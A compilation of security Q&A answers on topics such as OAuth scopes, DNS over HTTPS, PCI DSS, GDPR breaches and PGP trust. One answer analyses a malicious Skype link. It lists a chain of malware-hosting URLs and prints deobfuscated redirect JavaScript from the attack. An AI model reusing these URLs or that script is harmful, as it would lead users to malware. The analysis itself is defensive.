Also, instead of using a token subject UserXY to impart all a user's authorizations to a single token, it may be better to use the principle of least privilege here and have the authorization server put specific authorizations (e.g., read UserXY email, compose UserXY messages) rather than giving access to anything UserXY can do.


What to do if you ever lose a smart card?

When using a smartcard, this is usually a bad idea to generate a signature key with an external device. It dramatically increases the risk of key leaking. Of course you can mitigate these risks by using an offline computer or storing the backup into a safe but it is always more secure to generate the key inside a cryptographic device.

But what happens when your lose or break your smartcard and there is no backup? The answer is simple: nothing. Because humans can lose their keys, the revocation mechanism have been invented. After you revoking your key, nobody will be able to make a valid signature with your key. But all the signatures you created before the revocation can always be validated by any third-party.

Thus, even if you lose your signature key, no backup is needed. Revoke this key and create a new one. Full stop.

Note that I'm only talking about signature keys. Encryption keys are different. If you lose your encryption private key you won't be able to decrypt encrypted messages that people sent to you. That's why it may be useful to have a backup of your encryption key.


Generating deterministic X.509 certificates?

At the moment, I see no big problem here, at least, from the PoV of the algorithm itself.

Seed a PRNG with e.g. a hash of your key phrase.
Use the PRNG to generate the RSA key pair.
Use a library to generate the certificate, putting your key material in it.

Determinism is achieved through the use of PRNG seeded with the same key phrase (likely salted and put through e.g. SHA-256), so the output is the same for same input. All the required algorithms can be easily implemented in Python, or existing code can be reused, from e.g. Python-RSA. The only required adjustment would be using your PRNG instead of what it's using now.

Point 3 is the hardest part as I'm no big expert in libraries, but this seems to be a part of another problem (generating a certificate from existing key material). This falls into the "what is the best library for..." category.

As usual: whipping your own crypto is generally discouraged and frowned upon, unless you are Bruce Schneier. ;-)


Pros/Cons of internal pentest department vs external pentesters

The most-effective use of a security professional who has penetration-testing skills is to host cyber exercises. Some are referring to this as purple teaming or adversary simulation. Each approach will be unique to an organization or set of organizations -- and have their own advantages and disadvantages.

Rafael Mudge recently spoke at the SANS Pen Test Hackfest on [PDF - Hacking to Get Caught - PDF], based on his original material from a blog post on adversary simulation.

I don't think it matters if you hire externally or internally for this sort of work -- the benefits of hiring someone internally have historically been discouraged because the individual would "likely become bored", "become predictable", and become less effective because his or her knowledge of the environment would prevent seeing things from a new or fresh perspective. However, with cyber exercises proving their value in Security Operation Centers, fusion centers based on cyber threat intelligence, and internal red teams -- the value of having in-house penetration skills is rapidly rising.

There are a few resources I'd like to point you towards in order to fully comprehend the tradtional and non-traditional approaches to penetration testing resourcing. Two books, one: "CISO's Guide to Penetration Testing: A Framework to Plan, Manage, and Maximize Benefits", and the other, "Effective Penetration Testing" by Kevin Pescatello and Matthew Larsen. In the former book, chapter 5 covers four types of tests: parallel shared, parallel isolated, series shared, and series isolated. Each of these test approaches include two types of outside penetration testers as well as one internal type -- blending a mix and balance of requirements and needs.

Lastly, I'd like to note that penetration testing is an emerging and changing field with a variety of expertise coming from many unorthodox approaches and a myriad of backgrounds. Having been introduced to US national intelligence, national security, and military TTPs such as wargaming, OPFOR, red teaming analysis (RTA), game theory, simulation, warning intelligence, S&TI, TECHINT, all-source intelligence, counterintelligence, MILDEC, counter denial, counter deception, analytical frameworks, and the fusion center model -- I have concluded that the penetration testing industry is due for a total rewrite. These antiquated third-party assessments that produce reports have always been laughable when compared to warfighting, so it is precedent that we embrace change, particularly due to this 2014 cyber war and the total cyber risk situation we are facing as a global economy or in the geopolitical space.


How can you become a competent web application security expert without breaking the law?

I don't work as a security consultant but I've worked with them (and with the police incidentally and your analogy is more cop show than reality) and none of them to my knowledge have spent time hacking illegally.

Hacking is only illegal if you don't have permission but there is no difference on a technical level (that is to say in terms of security) between a server you've got permission to hack and one you haven't. If you're working for or with a company then attempting to access their servers (with their prior written understanding and permission) is fine and no less real world experience than picking a random system.

Failing that there is no reason you can't set up your own hosted servers and attempt to compromise them - or buddy up, two of you each set up a server and the winner is the first one to find an exploit in the others system. That has the dual advantage of seeing it from both sides.


Why use DNS over TLS/HTTPS if ISP could find out target domain by other means?

The main point of DNS over TLS/HTTPS today is likely to bypass DNS based blocking of sites which are considered harmful, which might include Google, Youtube, Facebook ... depending on where you are. DNS based blocking is easy and cheap since most users use the DNS server provided by the ISP which can simply return a different response for blocked domains. Even if the user explicitly configures a different public DNS server the ISP can create a cheap packet filter rule so that any traffic to port 53 (DNS) gets transparently handled by the ISP's DNS server, even if the user tried to use a different one. While there is in theory DNSSec to allow authorized DNS answers it is not used for a large part of the domains which also means that clients usually don't enforce it.

If the user instead uses DNS over TLS or HTTPS then the simple redirect of port 53 will no longer work since the ISP does not have the matching certificates for these TLS connections. While the ISP could simply block any traffic on port 853 (DNS over TLS) in the hope that the client falls back to normal DNS, blocking DNS over HTTPS can not be done without serious side effects since it uses the same port (443) and maybe even the same destination (content delivery networks) as normal HTTPS web traffic.

This means that in order to block sites the ISP has to rely on  DPI (deep packet inspection) to extract the destination from the Host header (plain HTTP) or SNI in the TLS handshake (HTTPS) and then block the traffic. This is way more expensive than a simple layer 4 (port based) redirect and also impacts the performance of the traffic. This makes it more likely that the ISP lobby will oppose the blocking, especially if the ISP's has to come up with all the additional costs themselves.

Additionally the proposed encrypted SNI means that even DPI will not reliably help to find out the visited site and thus blocking a site based on the domain name will not reliably work.


How can ransomware be so prevalent when there is such a clear money trail to the attackers?

They use alternative methods from traditional credit card/wire transactions, namely prepaid cards and crypto-currency like bitcoin. This is because it's much easier to stay hidden this way.

This article outlines more information if you're interested: TeslaCrypt: Following the Money Trail and Learning the Human Costs of Ransomware


What risks do I have now that I accidentaly opened a suspicious URL send to me by Skype?

What risks do you have?

Possibly that your computer is now infected with malicious software like a virus or a trojan horse. The following steps should be taken if you didn't already.

What to do?

There are some steps you can take:

First of all, don't click on links that you don't trust or know
Use unshortenit.it or urlex.org to check where the shortened links will send you and analyse those URL's using virustotal.com
Make sure you have a virus-scanner*, anti-spyware** software (and a adblocker plugin*** installed)
Update, update, update (make sure all software including your operating system is up-to-date)
Perform a full-system anti-virus and anti-malware scan
Change your Skype password since it's unclear if this was caused by a compromised computer of your University contact or by your leaked Skype password
Inform your University contact, he might be infected

For example: *Avira Anti-Virus, **Spybot Search and Destroy, ***Adblock Plus, Adblock, uBlock Origin

What caused it?

An annoying University contact that's trying to be funny
An infected University contact (that has no idea that) his computer or hacked Skype account is used for sending such messages to his Skype contacts

Additional information

The technique that is used here is URL obfuscation, usually using different URL shorten services or hacked websites for redirecting traffic.

Analyzing the URL forwarding

Below is a trace of how the URL is redirecting: Warning: Do not open those URLs:

1: http://bit.ly/28PPw3V#dahubas=my_skype_id
2: http://www.shopintoledo.com/redirect.aspx?url=http://fatjtohuh.net-www-rostizado.gq/?/welcome/site/?vuhonoh
3: http://fatjtohuh.net-www-rostizado.gq/?/welcome/site/?vuhonoh
4: http://cheergoldfulsilvermotion.com/?a=370960&c=brain&s=wee
5: http://318-inteligen.cheergoldfulsilvermotion.com/intl/vwme/inteligen/

Malware detection

The first three URLs don't seem infected (by the results of virustotal.com). The last two URLs seems to be infected as shown in the image below (detection rate of 2/67, and a suspicious mark). The detection rate for the domain cheergoldfulsilvermotion.com seems even higher (3/67, and a suspicious mark).

Sucuri sitecheck also shows that there is malicious code detected on the website, as shown in the picture below. The payload is called mwjs-iframe-injected530?v22, see this report about it. It seems to be related to, don't open http://aspectsdesktoponepro.org/go.php?sid=4 which is again flagged as malicious by SOPHOS anti-virus on virustotal.com.

Advanced malware analysis / reverse engineering

If you like to perform advanced malware analysis or reverse engineering on the used malware in this case. Make sure you do it in an isolated environment, for example using a isolated virtual machine. I posted the first steps on how to do so and the first results on the following two locations:

pastebin.com
pastebin.com
jsunpack.jeek.org

Update: Further investigation shows a connection to IP address 5.45.81.159 which is also related to fatgoldworkburnachieve.com and 891-health.goldlovelyozmotion.com which all seem to be infected with malware named MW:HTA:7, see report here and report here. Anyway, they all mostly end up redirecting to http://fgnfdfthrv.bee.pl/?q= wich highly blacklisted, and marked as malicious (malware) site. The deobfuscated JavaScript code that I could found on the bee.pl subdomain where the redirects seem to end, is this:

function are_cookies_enabled() {
    var cookieEnabled = (navigator.cookieEnabled) ? true : false;
    if (typeof navigator.cookieEnabled == "undefined" && !cookieEnabled) {
        document.cookie = "testcookie";
        cookieEnabled = (document.cookie.indexOf("testcookie") != -1) ? true : false;
    }
    return (cookieEnabled);
}
if (are_cookies_enabled()) {
    window.location.href = 'http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/';
} else {
    window.location.href = 'http://savethechildren.org/';
}

It seems that in case you had cookies enabled you get redirected to a malicious site. In case you had them disabled it seems to send you to savethechildren.org, which seems uninfected to me. The http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/ seems to redirect to different URLs everytime I connect to it in different ways. Examples of where I ended are:

https://integrated-payments-zone.com/brain_int/?a=370945&click_id=06_84198625_849b0176-94f3-4b48-9746-b6122b7a9497&subid1=326965&netid=3&ver=old
http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/
http://108-iq.topggolddbestanyw.com/nl/xdxz/inteligen/
http://408-iq.fatgoldworkburnachieve.com/us/iwis/brain_cnn/go.php


How secure is it?

If the username is already public information then I don't see a significant risk. An email address should be considered public information in most cases seeing as it must be known to anyone who wishes to use it.

  What issues can prevent me from using the same behavior in my own project?

Firstly, I feel in most cases this functionality is better delegated to the web browser. Most modern browsers have a feature to remember form data which the user can enable and disable as they choose.

If you do go ahead and implement it then you should be considerate of how sensitive the information is to threats such as an attacker having access to the client (eg. a shared machine) or physically seeing it while looking over the users shoulder.

These will be minor threats to most users but they will still exist for users on public devices, etc. so obviously you need to give them the option to disable it and avoid remembering anything that would significantly compromise your system if overseen this way.

One interesting case where you might want to implement your own "remember me" scheme is where it significantly conveniences the user to remember the value, but it would be too risky to let the users browser remember it and possibly display it in clear text.

In that case, you display an obfuscated value to the user but remember the true value without displaying it in the UI. You can then use an option such as autocomplete="off" or a randomised field name to prevent the browser from remembering it. This is commonly used by banks for randomly assigned usernames and account numbers which are at high risk of being overseen but aren't easy to remember.


JUNIPER Junos Pulse - how to apply policy to device

Not specifically on topic, but:

According to the Junos Pulse release notes: The Apple iPad Junos Pulse is not supported on the Apple iPad as of September 2010. Junos Pulse will be qualified to work on Apple iPad products when iOS 4.2 is realeased by Apple.

Update As of December 2015, the Pulse Secure Desktop Client Supported Platforms Guide says that Max OSX 10.11, 10.10 and 10.9, 64 bit Safari 8.x and 7.x are supported.


The registration confirmation email contains my password: do they keep it in plaintext?

Sending you the password in plain text does not necessarily mean the database stores it in plain text, especially if they sent you the email before encrypting and storing the password. However if you ask for the password later on (e.g "forgot password" mechanism) and they do send it to you like this, it implies that they are either storing in plain text or they're using an easily reversible encryption. In either case, there is reason to be concerned unless they only send you the password on registration and before storing it on their server in encrypted format.

In particular:

If they have a "forgot my password" link that sends you the password you had previously set up, then yes, there is reason to be concerned: they are storing the password in plaintext or using reversible encryption.
If they send you a new password, then it doesn't necessarily mean they are storing the password in plaintext or using reversible encryption.  In that case, you don't have enough information to know whether there is cause for concern.

A separate issue is that, in any case, email is not a safe medium for sending passwords.  Thus, even if they aren't storing the password in plaintext, if they are sending it to you by email in plaintext, that does pose some risk.

according to plain text offenders:

  Man in the middle attacks are easy to pull off between server and the
  comminucation protocol in itself is not encrypted.


How to include third parties in PCI DSS SAQ

You could select In Place but there's nowhere to justify that it's In Place and you've outsourced the responsibility. In the case of an SAQ, it's clearer to select Not Applicable, and then to justify the Not Applicable selections with a statement such as:

'Not applicable as responsibility for meeting this control has been outsourced to X service provider. Their AOC, dated dd mmm yyyy, has been reviewed and shows that this requirement is In Place'.


(Why) does an encrypted MS Office 2010 Spreadsheet (need to) have the password hash "written down"?

This is a case where security has been scarified for usability.

The hash acts as a checksum. If they had nothing to compare it to they would not be able to determine if the file was in fact decrypted with the correct password. Without this comparison it would blindly try to load in the file. A wrong password would mean it would load in corrupted. And the user/application would not know if this corruption was due to a wrong password or some other issue.

Additionally the hash is not a direct hash of the key. In Office 2007 it hashes the password 50,000 times and in Office 2010 it hashes it 100,000 times. Both using SHA-1. This is to fight off tools that brute forced hashes for earlier versions. Office 2013 uses the same strategy but uses SHA-512 by default. As a result the hash is safe for redistribution. You can learn more about the password protection here.

With this said it is still possible to brute force. Ultimately the strength of the key is up to the end user.


PCI DSS minimum password strength equivalent in passphrase

There's no guarantee that your QSA or other auditor will accept any answer offered here, but generally if you can justify your choices you can improve the odds that they will.  So I'll provide the best argument that I can.

A 7 character password randomly generated from lowercase alphabetic, uppercase alphabetic, and numeric characters offers 62^7, or around 3,521,614,606,208, possible combinations.  This also converts to around 42 bits of possibilities.  I'm erring on the conservative side of saying alphabetic character case matters (e.g. uppercase and lowercase are different) even though the standard doesn't.

So what I would do in your situation is calculate the length needed to provide the equivalent number of possible random passwords when only using lowercase letters.  That's 26^X ≥ 3.5 trillion, and X works out to be a minimum of 9 characters of length.  If you go with your goal of a minimum length of 15 characters then you'll be at 70 bits of strength, which is a substantial improvement over the original 42 bits.

These numbers do assume we're talking about random passwords to offer this level of strength, which isn't typical of most environments.  Most policies like this will still have users choosing passwords like "Muffins19" or passphrases like "Ilovemydogmuffins".  It's harder to make a strength comparison between passwords and passphrases in this reality, so I'd suggest avoiding it.  But you can, at the least, encourage good passphrase construction practices by providing users with a password manager or other software to generate random passphrases for them.


Free/Libre software to handle TCG OPAL 2.0-compliant Self-Encrypting Drives (SEDs)?

A developer has started work on a GPL'd command line tool for supporting TCG Opal 1.0/Opal 2.0/Enterprise drives under linux and windows. It's in very early development (v0.02alpha), but I like what I see so far and I have done some testing for the developer.

Source:
https://github.com/r0m30/msed

Binaries:
http://www.r0m30.com/msed/files


Is it less secure to force periodic user logouts vs keep them logged in?

I agree with your thought that forcing users to re-authenticate frequently weakens security in the ways you describe. However there are also other security and performance factors at play here that may not be as obvious.
When you log in, what happens in the background is that the server issues some kind of "authentication token" to your client (usually a browser). These authentication tokens can take multiple forms, the most common variants are:

A short random value that the server can use to look up your session (often called a Session ID.
A longer data structure that contains metadata about you that the server needs to know about you. This will be cryptographically signed to prevent spoofing.

The big difference between the two is that the first needs the server to remember about your session in memory, while in the second the token contains everything the server needs to know (often called "stateless").
If you want to see this in action, open your browser's dev tools (F12), look at a sent request, and you'll see an auth token either in a cookie or in an Authentication: header.

For a massively distributed system like Google, the idea that every server needs to know about every session for every user in the world is completely unwieldy. So they almost certainly use the second, stateless, approach. The downside to this approach is that since the server doesn't know anything, there is no way to logout a session because as long as the token is still valid, servers will accept it. So they end up doing a hybrid approach where the stateless tokens are typically short-lived (like 15 mins) and the client also gets a long-term "refresh" token which is like the session ID described above and typically lives for weeks or months (it's ok on performance to check the db for each user once every couple weeks rather than on every page load / request).

So back to your question; yes it's true that forcing you to type your password more often is not ideal, but this is already a tricky mechanism to design so that you get the right balance of security (being able to actually enforce logout) against server-side performance (not needing to go to the database on every request). End-user considerations like how often you need to type your password are likely a secondary concern.


Is there a security risk in existence of those HTTP headers in responses?

They don't directly affect security.

However, it is leaking information that may be valuable to an attacker.

For instance, the attacker can use the information contained in those headers to:

Determine the exact version of squid running on your systems
Determine the application backend (X-Rack-Cache: indicates Ruby, so it's most likely Rails or Sinatra)
Determine internal hostnames (tacoma likely refers to the frontend squid host) and ports
Give hints as to the caching strategy of the page (By making multiple requests and inspecting the HTTP Age header or some of the other X- headers you can tell whether a request resulted in a cache hit or miss).

So, yes - hiding these headers is just going to obscure the goings on behind, not protect them. But you don't have to make an intruders job easy for them :)


GDPR - Personal Data breaches for invoices

Whether the name is stored on paper or somewhere else does not matter. When you leak personal identifiable information (PII), which a name and surname are, it is regarded a data leak. This is what is a data breach under GDPR article 4:

  ‘personal data breach’ means a breach of security leading to the accidental or unlawful destruction, loss, alteration, unauthorised disclosure of, or access to, personal data transmitted, stored or otherwise processed;

Article 33 states the following regarding the mandatory notification:

  In the case of a personal data breach, the controller shall without undue delay and, where feasible, not later than 72 hours after having become aware of it, notify the personal data breach to the supervisory authority competent in accordance with Article 55, unless the personal data breach is unlikely to result in a risk to the rights and freedoms of natural persons. [...]

Just a name and surename is unlikely to result in a risk for the individual and it is therefor not mandatory to notify the supervisory authority. Please note this might be different depending on the area where you work, an invoice for renting a pornographic movie for example might be harmful to someone. In the end, you are faced with a decision regarding the severity of the incident and if you should report it or not.

As you can read here, you should be asking yourself the following questions to determine if you need to file a report or not.

What Happened? What kind of incident was this, did you leave an AWS bucket with all of your users financial data protected or did you just send the wrong customer the wrong email?
How many people were affected? Is this a large-scale breach or is it limited to just a handful of people. Most literature around GDPR puts the cut off for “large-scale” at 500 data subjects.
What personal data was compromised? Is this just a customer’s name and email address? Or is it more sensitive data like financial information or special categories of personal data?
What is the risk to the affected data subjects? Worst case scenario, what could be done with this information to harm the data subject either financially, materially or reputationally?
What caused this situation? Was it an attacker exploiting your security? Was this a technical mistake? Human error?
How easily can this issue be mitigated? Will this take months to fix or is this just a simple tweak? When will you be able to accomplish this?

If you can answer those questions, you should be able to weigh what risks this personal data breach could pose to those affected and whether or not this incident rises to the level of reporting.


capture authorization code programmatically in OAuth 2.0

Yes, this is fine, as long as the request is done over HTTPS. From a security perspective there's no difference between having your browser do it and having a different application do it.


Should public access to specific filenames and -types be denied preventively?

On the web servers I run, I deny access to any type of server log files and sensitive files that contain web app configuration details such as WordPress's wp-config.php file

However, if you're running a website, denying access to PHP, HTML, CSS, in addition to some other file types would render your website unusable since browsers need to access those files in order to properly display your website.

Additionally, I would look into correctly setting file permissions for your files to ensure that only proper users have access to view, edit, and move them.

Finally, I would recommend whitelisting file types instead of blacklisting them because generally, there will be less room for error and it won't take up a lot of space in your .htaccess file or server blocks.

Whitelist File Types in Apache

Whitelist File Types in Nginx


The problem with this login is that setting a username cookie with a value and setting an authorization cookie with a value of ok will log someone in. I would highly recommend reading up on PHP, sessions, and authentication.


Can fingerprints read from scanner by a malicious party be used for incrimination?

It depends on the type of data the sensor returns.

Some sensors parse the image on the device itself and only output interesting points that are actually used by the system to identify you. In that case there is not enough information to recreate a full fingerprint. You may be able to fool the same kind of system with that partial info (assuming the reader you're trying to go through will identify the user based on the same points), but a different system that uses other parts of the fingerprint will fail as you don't have those on your partial fingerprint.

Other sensors output a full bitmap image of the fingerprint, like a picture. In this case yes it can be used to create a fingerprint if the image is intercepted.

But again, why go through all the trouble to compromise a fingerprint sensor if anyone can simply pull your fingerprints from the door handle?


Does Skype technology tap a user's machine to route other calls?

Today, Skype do not route communication through other users machines. This is done by Microsoft servers in datacenters.

But back in the days, in the early versions of the Skype protocol, every user with strong-enough bandwidth and not behind a NAT (with routable IP address), can become a supernode and route the traffic of other users that are behind NAT.

That's the reason why this is necessary. If your ISP is doing NAT on the gateway level for example, you can open TCP connection to any host you want, but some other unknown host can't reach you, because the incoming connection is not requested by you. That's how the NAT works, and direct TCP/UDP connection can't be established.

If two Skype users that are behind a NAT wants to talk each other, in normal conditions, they can't, because they only can request-and-receive packets, but can't receive something that is not requested early.

Example:
Host A wants to talk through Skype with Host B.
Host A tries to open TCP/UDP connection to Host B, but the Host B didn't request anything from Host A early, and the NAT of the Host B's gateway just drop the connection. In the reverse direction is the same.

So, in order to communicate, they both connect to some supernode that becomes a bridge between them. This works because each client transmit the data to the supernode, and the supernode route them to the other side (which is also connected to the supernode, as i mentioned before).

Becoming a supernode can be disabled in early Skype versions with change in the Windows Registry.


Are digital signatures sent with the message that are contained in them or is just the digital signature sent?

All the systems I have used do the following

Compute a hash of the message using a hashing algorithm.
Create a digital signature of the hash value using public-key cryptography.

essentially this the encrypted value of the hash

Append the signature to the message (or vice versa) in a container.

This provides proof of sender identity and message integrity without providing confidentiality.

The recipient will then

use the sender's public key to decrypt the signature and obtain the hash value,
independently compute the hash-value from the message text
compare the two hash values to verify authorship and message-integrity

An example of this is XML-DSIG

A signed XML message might have this sort of structure.

<Envelope>
  <Header>
    <Signature>
       ...
    </Signature>
  </Header>
  <Body>
    <From>Sue</From>
    <Text>Meet at Foo HQ at 12:30!</Text>
  </Body>
</Envelope>

The content of the message is not reproducible from the signature. The two things are separate.

Similar ideas apply to other uses of digital signatures.

One reason is that public key cryptography is slow, so you apply it to the smallest amount of data needed for your purpose.

If you need confidentiality you encrypt the message body using faster symmetric (shared-key) cryptography. The sender can then include the symmetric key with the body hash and other matter that is encrypted using public-key cryptography. The hash is encrypted with the sender's private key but the shared key would be encrypted using the recipient's public key. The shared key and the message hash will generally be much shorter than average message body content, and so this approach is quicker and makes better use of computing resources.


Password manager login with compromised certificates

The important question here is wheater you trust your company or not.

If your company isn't trustworthy they could easily steal your password without a certificate (e.g. by using a key-logger).
If your company is trustworthy the fact that they have installed a certificate on your system doesn't matter, since you trust them anyway.

Should the fact that they installed the certificate make you rethink how much you trust them? Probably not - companies doing this is quite common, and there are legitimate reasons besides spying on employees.

Would the certificate help them if they wanted to get your Dashlane password? It doesn't seem that way, but I am not 100% sure. They claim to "never store even a derivative of your Master Password" on their servers. Instead, they decrypt the data locally:

  You use your Master Password to only decrypt your own data locally on your computer, and your data is successfully decrypted only if you provided the right one.

So I see no reason why they should send it over the internet, and if it is not sent over the internet the certificate would not help your company to steal the master password.

The passwords the master password protects, however, will be visible to your company if you use them to login to websites, since the certificate will enable them to read your HTTPS traffic. But again - back to the basic question - do you trust your company?


Job laptop and VPN, security concerns for home network?

Is there any other security concerns for my home network while I am
  connected to the office VPN

Someone from IT department of your work who wishes to gather info on your home network can do that using your laptop. (though this is so risky, you wouldn't believe the legal complications if you'll find out that)

  They can see other devices of mine?

ARP, packet broadcasting, etc makes it easy to collect information passively.

  Should I worry for something?

Unless someone took a personal interest of you, or there some kind of maniac trying to stalk you, no.

  They (the IT administrators) can access my home network?

Peculiar question. Network, yes. Shared files over the home network, yes. Sniff your traffic, yes. Get your wifi password, easily. Send something malicious to other devices, sure.

Guest mode, Access list, separated VLAN, whatever segmentation or control features your router have, you can use to segment your work laptop from home devices.


How can Authenticity be achieved in SMS or Text Messaging?

Depends who you are protecting yourself against.  In the most paranoid sense, SMSs are transmitted over an insecure channel (your customer's service provider is a MITM).  This means that you can't send in any special way to authenticate your SMSs.

Therefore, any true authentication has to be within the SMS itself - for example, a signature (by ECC/HMAC/etc.).  This signature will not be directly useful to humans, so you'd need special software on the receiver's device to verify the signature - and once you've got that software, you might as well consider sending the message over the internet instead.


Do schools save your search history on their computers they issue out?

Is it technically possible? Yes, of course. Is it legal? Probably, but depends on jurisdiction and exact scenario. Are they actually doing it? There is no reasonable way to know for sure unless they tell you.


To have a secure service, you must:

Ensure that the data from your Client -> your Server is encrypted, that's where you need the SSL/TLS certificate
Ensure that the security-related data (e.g. password) on your server is stored in encrypted / hashed+salted form.

A certificate from StartSSL is as secure as a certificate from other CAs, if your client's browser does trust the CA.
The CA does not know the certificate's private key.


How can I identify my phone call is being tracked or tapped?

You could try another old-fashioned way and disclose something specific on the phone, and nowhere else, that would be of interest to those monitoring you.

If that information is later used you will know your phones are being monitored.


Password storage/retrieval for local network server

Basic Authentication, will give you marginally more security than you already have:

Consider the vectors you are defending against: bad actor who gains access to the network or disgruntled employee with access to the network.

Bad Actor: If you are not using TLS, anyone on the network will see the entire request/responses (including the password), so TLS is required to prevent the first vector.

Disgruntled Employee: If you are using TLS, anyone on the network with the private keys, will be able to see the entire request/response (including the password), something more may be required to prevent all instances of the second vector.

Now you need to assess the risk associated with these vulnerabilities, which requires you to consider the probability of the vulnerability being exploited and the loss you would take if the vulnerability was exploited (financial, repetitional, etc.)

Side Note:

There are widely accepted forms of token based authentication that may help increase the security of authentication: OAuth or OpenID may work depending on your use case.


Is revealing a PC account user name bad?

I guess no. Why? Because if you secure your environment in such way that it can eliminate bruteforce attacks/dictionary attacks or any other attack that is trying to force the login, then exposing usernames won't do anything to it, thereafter you can limit the attempts in your LSP. If you look more into the psych of a possible attack, they can generate strings that are based on your username for example username is am123, they can put ham123 or aM93 in their dict list).

Should i keep my username of roastedbeans.ru secret? Yeah you should because it's not your environment, you do not manage it. Therefore you do not know if it is secure at all.


Is it possible to stack encryption algorithms with SSL?

SSL/TLS is a protocol for sending "application data" as a bidirectional stream of bytes, so you can send through it anything that can be encoded as bytes, i.e. anything that fits at all in the memory of a computer. If you want to apply extra encryption layers of your own, nothing will prevent you.

Now believing that such cascading of encryption algorithms will do any good to your security is a known delusion, unfortunately quite common. Encryption algorithms, when used properly (e.g. as they are used in TLS), are not the weakest part of the system; they are the strongest part. When you are attacked, it won't be through breaking the algorithms. Adding extra algorithms won't help. Actually it will probably hurt, if only because the extra complexity will kill your performance and induce you not to use TLS at all in some cases, because of that gratuitous overhead. See this answer for more discussion on the subject.

Believing that your homemade algorithm will also help is also a common delusion. The main part of training as a cryptographer is to learn that nobody can build by himself an algorithm which will be reliably secure. Thus, professional cryptographers don't create algorithms that way; instead, they publish candidates, to be inspected by their colleagues. If none of these well-meaning other cryptographers found anything bad to say about the new algorithm after a few years, then we may begin to imagine that the algorithm might be quite robust after all. This is the only known method for designing secure algorithms. You cannot do it by yourself, all alone, by definition. I cannot either. Nobody can.


In which OSI layer does session hijacking occur?

Session hijacking can potentially take place on several levels of the OSI model (possibly all), as well as outside of the network.

Physical: Tap someones physical connection, and send all packets to the MiTM.

Data Link: ARP poison someones ethernet connection, and send all packets to the MiTM

Network: Manipulate the packet routing, and send all packets to the MiTM.

Transport/Session A secure protocol such as SSL/TLS will protect against compromise of the data, but if an attacker has also broken TLS/SSL, then a break at this level would break the protection from compromises at lower levels.

Presentation I can't think of anything at this level, and it doesn't map well onto TCP/IP and protocols, but that doesn't mean it's not possible.

Application You might debate about this, but I'd argue that CSRF, Code injection, and XSS are all at the Application level.

Outside Any compromise of the machine itself that can grab a session key and transmit it to an attack, be it physical, OS or some other application would be outside of the OSI model.


Does adding an extra, non-entropic keyfile lower security?

You seem to be a bit confused about what "entropic" means. In the context of information security, "entropy" is a measure of the unknown. It is often expressed in bits, which is a logarithmic scale: "10 bits of entropy" means "could assume 210 possible values with uniform probability". Entropy translates to security in that an attacker, trying to guess a value with n bits of entropy through brute force will need, on average, 2n-1 tries. Beyond about 100 bits of entropy, brute force is infeasible because of the sheer cost (not enough energy is produced on Earth to complete that computation).

Being logarithmic, entropy adds up: if you concatenate a piece of data with 20 bits of entropy, next to a piece of data with 13 bits of entropy (and independent of the first piece), then the total entropy is 33 bits.

By definition, a "non-entropic file" is a file with 0 entropy, meaning that the attacker already knows it. Appending a non-entropic file will add exactly 0 to the entropy, so it won't make anything stronger.

When using "key files", TrueCrypt uses a cryptographic hash function which has a nice property of "keeping entropy around" in a much more compact form. A hash function with a 160-bit output will necessarily reduce entropy to at most 160 bits, but the bright side is that it won't reduce it any further. And 160 bits is far more than enough to defeat brute force attacks. Therefore, adding a "non-entropic" key file will not reduce your effective security (but that's because TrueCrypt does things properly).


Why can't PGP/GPG Web-of-Trust be automated?

Certificate Authorities

  The email client would automatically look up the PGP key of all receivers in key stores (first local, then public keyservers, ideally provided by the receiving email provider) and encrypt the mail with these keys. Ideally, we would use trusted keys by regular PGP standards. However, we would fall back to any suitable key with less trust, down to a complete unknown key if required.

This is a horribly bad idea. Everyone can generate keys for every mail address. Without any trust path, you have no chance to decide which one is the right key. Instead of further argumentation, have a look at the key server results for president@whitehouse.gov. Don't expect any of them to belong to who they claim to be.

  On the sending side, any email client would automatically create a PGP key locally and publish the public key part on the email provider's keyserver.

Now we're getting on a more reasonable path. But: This somewhat counterfeits the idea behind OpenPGP. Trust is not defined by on which key server is stored, but what keys are trusted. You're looking for a certification authority (yes, in the end pretty much the same thing like X.509 uses). There are already some in the OpenPGP world, have a look at CAcert.

Your provider could also be a certificate authority (to some degree, you're already trusting him anyway). To do so, you would both sign and (fully) trust his certificate authority key, in return he's signing all keys generated for his own users. OpenPGP can do all this out of the box; no need to change it. You just need to make people understand and implement it.

An Automated Web of Trust

  The only "new" idea here would be to automatically manage trust by exploiting social assumptions. The main assumption would be that two parties continuously exchanging emails somehow know each other and can identify each other by the contents of the mails exchanged. With each email exchange, the email clients of both parties would increase their internal trust score for the other party's key. This internal trust score would be applied like traditional Web-of-Trust confidence levels to build up an automated Web-of-Trust.

Now we're getting to a completely different concept, which is already known as certificate pinning (but I haven't heard of it being implemented for OpenPGP).

Yes, this might be reasonable for people you already had contact with. But it makes things much more complicated, especially regarding computation of trust. This would require a probabilistic computation of trust to be able to deal with the large number of rather low trust issued by such a system, like proposed by Maurer et al. in 1996: Modeling a public-key infrastructure; maybe together with automated issuance of trust.

Conclusion

Your first proposal, providers acting as certificate authorities has indeed some charm, is compatible with OpenPGP and rather easy to implement. I'm not sure if Google even has similar plans for its End to End project.

  For me, this seems like a suitable approach for the public part of the key management issue. It does not solve the private part (e. g. getting the private key to all mobile devices). We also inherit all known issues of PGP.

Probabilistic models have already been proposed nearly twenty years ago, there just was nobody to pick them up. If you scroll through the citations for the paper linked above, it even seems quite a bunch of publications claim to have solutions for your proposal. One large problem is, this wouldn't be compatible with OpenPGP (as defined by RFC 4880) any more, and introducing new systems in a way they get acceptance isn't very easy. Furthermore, it's even harder to understand what's going on in probabilistic models.

Another thing is you'd still have to teach people on how to use OpenPGP and understand the Web of Trust concept. This is no technical problem (although it might be more complicated than necessary); there is no plain technical solution for security. Don't just make people assume their communication is secure when they're not able to understand what's going on, bad things happen if people do so, or a horrible bunch of dismissed, non-revoked keys on the key servers.

Further Notes

  The internal trust score needs to be very fine-grained in order to allow automated increments and calculation (e. g. 0..1 range with IEEE-754 double precision).

